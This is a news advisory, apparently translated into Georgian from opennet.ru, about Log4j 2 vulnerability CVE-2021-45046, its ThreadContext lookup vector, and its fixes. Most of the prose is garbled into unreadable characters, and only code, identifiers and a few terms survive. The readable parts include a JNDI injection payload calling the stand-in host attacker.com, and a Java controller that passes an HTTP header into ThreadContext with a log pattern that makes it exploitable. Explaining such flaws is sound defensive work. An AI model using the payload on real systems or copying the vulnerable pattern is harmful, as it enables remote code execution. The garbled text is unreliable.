แแแแแ แแ แแ แแแฃแชแแแแแแ แแแแแแแแแแ JNDI แฉแแแแชแแแแแแก แแแแฎแแ แชแแแแแแแจแ Log4j 2 แแแแแแแแแแแจแ (CVE-2021-45046), แ แแแแแแช แฉแแแแแ 2.15-แจแ แแแแแขแแแฃแแ แจแแกแฌแแ แแแแแแก แแแฃแฎแแแแแแ แแ แแแชแแแกแแแแก "log4j2.noFormatMsgLookup" แแแ แแแแขแ แแก แแแแแงแแแแแแก แแแฃแฎแแแแแแ. แแ แแแแแแ แกแแฎแแคแแแแ แซแแ แแแแแแ Log4j 2-แแก แซแแแแ แแแ แกแแแแแกแแแแก, แ แแแแแแแช แแแชแฃแแแ "noFormatMsgLookup" แแ แแจแแก แแแแแงแแแแแแ, แ แแแแแ แแก แจแแกแแซแแแแแแก แฎแแแก แแแแ แแแก แแแแแ แแแชแแแก แฌแแแ แแแฃแชแแแแแแแกแแแ (Log4Shell, CVE-2021-44228), แ แแแแแแช แกแแจแฃแแแแแแก แแแซแแแแ แจแแแกแ แฃแแแ แแฅแแแแ แแแแ แกแแ แแแ แ. 2.15 แแแ แกแแแก แแแแฎแแแ แแแแแแแกแแแแก, แแฅแกแแแฃแแขแแชแแ แจแแแแแคแแ แแแแแ แแฎแแแแ แแแแแแแชแแแก แแแแ แแแก แแแ แแแแแแก แจแแฅแแแแ แฎแแแแแกแแฌแแแแแ แ แแกแฃแ แกแแแแก แแแแฌแฃแ แแแก แแแแ.
แแแฃแชแแแแแแ แแแแแแแแ แแฎแแแแ แกแแกแขแแแแแแ, แ แแแแแแแช แแงแแแแแแ แแแแขแแฅแกแขแแก แซแแแแแก, แ แแแแ แแชแแ ${ctx:loginId} แแ แแแแแก แแแแขแแฅแกแขแฃแ แ แ แฃแฅแแแ, แ แแแแ แแชแแ %X, %mdc แแ %MDC แแฃแ แแแแแก แแแกแแฌแแ แแ. แแแแ แแชแแ แแแแแแแ แแแแก แแแแจแ, แ แแ แจแแแฅแแแแก แแแ แแแแแ แแฃแ แแแแจแ JNDI แฉแแแแชแแแแแแก แจแแแชแแแแ แแแแแชแแแแแแก แแแแแกแแขแแแแ, แแแแแแแชแแแจแ แแแแขแแฅแกแขแฃแ แ แแแแฎแแแแแแแก แแ MDC แจแแแแแแแแแก แแแแแงแแแแแแกแแก, แ แแแแแแแช แแแแกแแแฆแแ แแแแ แแฃแ แแแแจแ แแแแแแแแแแ แคแแ แแแขแแ แแแแก แฌแแกแแแก.
LunaSec-แแก แแแแแแแแ แแแแ แแฆแแแจแแแก, แ แแ Log4j-แแก 2.15-แแ แแแแแแแ แแแ แกแแแแแกแแแแก, แแก แแแฃแชแแแแแแ แจแแแซแแแแ แแแแแงแแแแแฃแ แแฅแแแก, แ แแแแ แช แแฎแแแ แแแฅแขแแ แ Log4Shell แจแแขแแแแกแแแแก, แ แแแแแแช แแฌแแแแก แแแแแก แจแแกแ แฃแแแแแก, แแฃ ThreadContext แแแแแแแแฅแแแแแแ แแแแแแงแแแแแ แแฃแ แแแแจแ แแแแแขแแแแกแแก, แ แแแแแจแแช แจแแแแก แแแ แ แแแแแชแแแแแ, แแแฃแฎแแแแแแ แแแแกแ. แฉแแ แแแ แแ แแจแแก " noMsgFormatLookups" แแ แจแแแแแแแก "%m{nolookups}" แแแกแแชแแแแ.
แแแชแแแก แจแแแแแแแแ แแแ แแแแแแแแแแ แแแแก แแฅแแแแ, แ แแ "${jndi:ldap://attacker.com/a}" แแแ แแแแแ แ แฉแแแแชแแแแแแก แแแชแแแแ, แแก แแแแแฎแแขแฃแแแแ แฉแแแแชแแแแแฃแแแ แจแฃแแแแแฃแ แ แชแแแแแแก แแแแจแแแแแแแแ, แ แแแแแแช แแแแแแงแแแแแ แแแแแแแแแแ แคแแ แแแขแแ แแแแก แฌแแกแแแจแ. แแฃแ แแแแ. แแแแแแแแแ, แแฃ แแแแขแแฅแกแขแฃแ แ แแแแฎแแแแ ${ctx:apiversion} แแแแแแงแแแแแ แแฃแ แแแแจแ แแแแแขแแแแกแแก, แแแจแแ แจแแขแแแ แจแแแซแแแแ แแแแฎแแ แชแแแแแแก แแแแแชแแแแแแก โ${jndi:ldap://attacker.com/a}โ แฉแแแแชแแแแแแ. แแแแจแแแแแแแ แแแฌแแ แแแ apiversion แชแแแแแแ. แแแฃแชแแแแ แแแแแก แแแแแแแแ: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP แกแแแแฃแ แแก แแแแจแแแแแแแ แแแแแแชแแแ ThreadContext ThreadContext.put("apiversion" , apiVersion ); // แแฃแ แแแแจแ แแแแแขแแแแกแแก, apiversion-แแก แแแ แ แแแแจแแแแแแแ แแแแฃแจแแแแแแ แฉแแแแชแแแแแแ ${ctx:apiversion} logger.info("แแแฆแแแฃแแแ แแแแฎแแแแ API แแแ แกแแแกแแแแก"); แแแแ แฃแแแแ "แแแแแ แฏแแแ, แกแแแงแแ แ!"; }
Log4j 2.15-แจแ, แแแฃแชแแแแแแ แจแแแซแแแแ แแแแแงแแแแแฃแแ แแฅแแแก DoS แจแแขแแแแแแก แจแแกแแกแ แฃแแแแแแ ThreadContext-แจแ แแแแจแแแแแแแแแแก แแแแแชแแแแกแแก, แ แแช แแแแแแฌแแแแก แแแแแแแแแแ แคแแ แแแขแแ แแแแก แจแแแแแแแก แชแแแแก.
แแแแแฅแแแงแแแแฃแแแ แแแแแฎแแแแแแ 2.16 แแ 2.12.2 แแแฃแชแแแแแแแก แแแกแแแแแแแ. Log4j 2.16 แคแแแแแแจแ, แแแ แแ 2.15 แแแ แกแแแจแ แแแแฎแแ แชแแแแแแฃแแ แจแแกแฌแแ แแแแแแกแ แแ JNDI LDAP แแแแฎแแแแแแแก โlocalhostโ-แแกแแแแก แกแแแแแแแแฃแแ, JNDI แคแฃแแฅแชแแแแแแแแ แแแแแแแแ แแแแแ แแฃแแแ แแแแฃแแแกแฎแแแแแ แแ แแแแฆแแแฃแแแ แจแแขแงแแแแแแแแแแก แฉแแแแชแแแแแแก แจแแแแแแแแแก แแฎแแ แแแญแแ แ. แ แแแแ แช แฃแกแแคแ แแฎแแแแแก แแแแแกแแแแแ, แจแแแแแแแแแแแฃแแแ JndiLookup แแแแกแแก แแแแฆแแแ แแแแกแแแแ (แแแแแแแแแ, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
แแฅแแแ แจแแแแซแแแแ แแแแแขแ แแแแ แจแแกแฌแแ แแแแแแก แแแแแฉแแแ แแแแแขแแแจแ แแแกแขแ แแแฃแชแแแก แแแแ แแแแแ (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) แแ Java แแแแขแคแแ แแแก แแฌแแ แแแแแแแแ (GitHub, Docker, Oracle, vmWare, Broadcom แแ Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure แแ แ.แจ.).
แฌแงแแ แ: opennet.ru